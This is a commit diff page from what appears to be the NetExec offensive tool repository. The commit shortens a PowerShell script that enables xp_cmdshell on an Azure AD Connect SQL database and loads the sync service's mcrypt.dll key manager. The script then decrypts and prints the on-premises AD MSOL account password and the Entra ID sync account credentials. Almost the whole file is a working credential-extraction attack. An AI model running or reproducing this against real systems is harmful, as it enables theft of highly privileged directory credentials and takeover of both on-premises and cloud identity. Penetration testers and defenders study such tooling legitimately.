Skip to content

Commit 48a0e5e

Browse files
committed
Heavily reduce ps script length to fit in limit
1 parent dc2d748 commit 48a0e5e

1 file changed

Lines changed: 36 additions & 55 deletions

File tree

nxc/data/entra-sync-creds/entra-sync-creds.ps1

Lines changed: 36 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,8 @@
44

55
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
66
function decrypter($crypted, $key_id, $instance_id, $entropy) {
7-
$script = "add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted"
8-
97
$cmd = $client.CreateCommand()
10-
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
11-
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
12-
EXEC xp_cmdshell 'powershell.exe -c `"$script`"'"
8+
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
139
$reader = $cmd.ExecuteReader()
1410

1511
$decrypted = [string]::Empty
@@ -37,65 +33,50 @@ try {
3733
return
3834
}
3935

40-
# Get the keyset_id, instance_id, and entropy from the mms_server_configuration table
41-
$cmd = $client.CreateCommand()
42-
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
43-
$reader = $cmd.ExecuteReader()
44-
if ($reader.Read() -ne $true) {
45-
Write-Host "[!] Error querying mms_server_configuration"
46-
return
47-
}
48-
49-
$key_id = $reader.GetInt32(0)
50-
$instance_id = $reader.GetGuid(1)
51-
$entropy = $reader.GetGuid(2)
52-
$reader.Close()
53-
54-
# Get the encrypted data of the MSOL account for the on-prem AD
55-
$cmd = $client.CreateCommand()
56-
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
57-
$reader = $cmd.ExecuteReader()
58-
if ($reader.Read() -ne $true) {
59-
Write-Host "[!] Error querying mms_management_agent for on-prem MSOL credentials"
60-
return
36+
function f {
37+
param ($q)
38+
$c = $client.CreateCommand()
39+
$c.CommandText = $q
40+
$r = $c.ExecuteReader()
41+
if (-not $r.Read()) {
42+
Write-Host "[!] Error querying: $q"
43+
return
44+
}
45+
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
46+
$r.Close()
47+
return $res
6148
}
6249

63-
$on_prem_config = $reader.GetString(0)
64-
$on_prem_crypted = $reader.GetString(1)
65-
$reader.Close()
50+
# Get keyset_id, instance_id, entropy
51+
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
52+
if (-not $out) { return }
53+
$key_id, $instance_id, $entropy = $out
6654

67-
# Decrypt the on-premise MSOL credentials
68-
$msol_on_prem_decrypted = decrypter $on_prem_crypted $key_id $instance_id $entropy
55+
# Get and decrypt on-prem AD credentials
56+
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
57+
if (-not $out) { return }
58+
$on_prem, $c = $out
59+
$pd = decrypter $c $key_id $instance_id $entropy
6960

70-
# Get the encrypted data of the Entra ID sync credentials
71-
$cmd = $client.CreateCommand()
72-
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
73-
$reader = $cmd.ExecuteReader()
74-
if ($reader.Read() -ne $true) {
75-
Write-Host "[!] Error querying mms_management_agent for Entra ID sync credentials"
76-
return
77-
}
61+
# Get and decrypt Entra ID sync credentials
62+
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
63+
if (-not $out) { return }
64+
$entra, $c = $out
65+
$qd = decrypter $c $key_id $instance_id $entropy
7866

79-
$entra_id_config = $reader.GetString(0)
80-
$entra_id_crypted = $reader.GetString(1)
81-
$reader.Close()
8267

83-
# Decrypt the Entra ID sync credentials
84-
$entra_id_decrypted = decrypter $entra_id_crypted $key_id $instance_id $entropy
8568

8669
# Extract the credentials from the decrypted XML configurations
87-
$domain = select-xml -Content $on_prem_config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
88-
$username = select-xml -Content $on_prem_config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
89-
$password = select-xml -Content $msol_on_prem_decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
70+
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
71+
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
72+
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
9073

91-
Write-Host "[*] Credentials incoming..."
92-
Write-Host "On-prem Domain: $($domain.Domain)"
74+
Write-Host "On-prem Domain: $domain"
9375
Write-Host "On-prem Username: $($username.Username)"
94-
Write-Host "On-prem Password: $($password.Password)"
76+
Write-Host "On-prem Password: $($pw.Password)"
9577

9678
# Extract the Entra ID sync credentials
97-
$entra_id_username = ([xml]$entra_id_config).MAConfig.'parameter-values'.parameter[0].'#text'
98-
$entra_id_password = select-xml -Content $entra_id_decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
99-
Write-Host "[*] Entra ID sync credentials incoming..."
100-
Write-Host "Entra ID Username: $($entra_id_username)"
101-
Write-Host "Entra ID Password: $($entra_id_password.Password)"
79+
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
80+
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
81+
Write-Host "Entra ID Username: $($entra_user)"
82+
Write-Host "Entra ID Password: $($entra_pw.Password)"

0 commit comments

Comments
 (0)